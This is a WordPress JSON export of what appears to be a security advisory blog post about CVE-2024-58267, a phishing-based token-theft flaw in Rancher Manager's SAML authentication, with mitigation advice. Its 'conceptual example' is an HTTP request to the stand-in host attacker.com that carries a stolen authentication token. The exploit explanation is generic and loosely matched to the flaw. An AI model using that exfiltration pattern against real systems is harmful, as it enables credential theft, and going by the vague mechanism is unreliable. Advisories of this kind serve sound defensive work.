{"id":82642,"date":"2025-10-14T12:35:40","date_gmt":"2025-10-14T12:35:40","guid":{"rendered":""},"modified":"2025-10-22T21:48:07","modified_gmt":"2025-10-23T03:48:07","slug":"cve-2024-58267-phishing-vulnerability-in-rancher-manager-s-saml-authentication","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-58267-phishing-vulnerability-in-rancher-manager-s-saml-authentication\/","title":{"rendered":"CVE-2024-58267: Phishing Vulnerability in Rancher Manager\u2019s SAML Authentication<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The vulnerability, identified as CVE-2024-58267, is a serious security flaw in Rancher Manager’s SAML authentication protocol. This vulnerability directly affects the Rancher CLI tool, making it susceptible to phishing attacks. Rancher Manager is a widely-used software for managing Kubernetes clusters, and this vulnerability has significant implications for the security of the networks<\/a> managed using this tool. The flaw can be exploited by attackers to steal Rancher\u2019s authentication tokens, leading to potential system compromise<\/a> or data leakage.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2024-58267
\nSeverity: High (8.0 CVSS Score)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: Required
\nImpact: System compromise<\/a>, Data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Rancher Manager | All versions prior to the patched release<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The exploit takes advantage of the custom authentication<\/a> protocol for SAML-based providers in Rancher Manager. The attacker initiates a phishing attack, tricking the user into interacting with a malicious link or attachment. Once the user interacts, the malicious script runs and abuses the SAML authentication protocol to steal Rancher\u2019s authentication tokens. These tokens can then be used to gain unauthorized access<\/a> to the system, potentially leading to a system compromise or data leakage.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of a phishing attack exploiting this vulnerability. The attacker could use a crafted HTTP request to trigger the vulnerability<\/a> and steal the authentication token.<\/p>\n

GET \/malicious_link HTTP\/1.1\nHost: attacker.com\nContent-Type: application\/json\nUser-Agent: Mozilla\/5.0\n{ \"stolen_token\": \"\" }<\/code><\/pre>\n
Mitigation and Recommendations<\/strong><\/p>\n
The most effective way to mitigate this vulnerability is by applying the vendor patch. Rancher has released a fix for this vulnerability, and all users are advised to update their Rancher Manager software to the latest version.
\nIn the interim, if patching is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability<\/a>. However, these are not long-term solutions and do not eliminate the vulnerability<\/a> itself. Users are strongly urged to apply the vendor patch as soon as feasible.
\nAlways be vigilant and cautious when interacting with emails, messages, or any form of communication that contains links or attachments, especially from unfamiliar sources. Regular security awareness training can significantly reduce the risk of falling victim to phishing attacks.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The vulnerability, identified as CVE-2024-58267, is a serious security flaw in Rancher Manager’s SAML authentication protocol. This vulnerability directly affects the Rancher CLI tool, making it susceptible to phishing attacks. Rancher Manager is a widely-used software for managing Kubernetes clusters, and this vulnerability has significant implications for the security of the networks managed using […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[89],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-82642","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-kubernetes"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t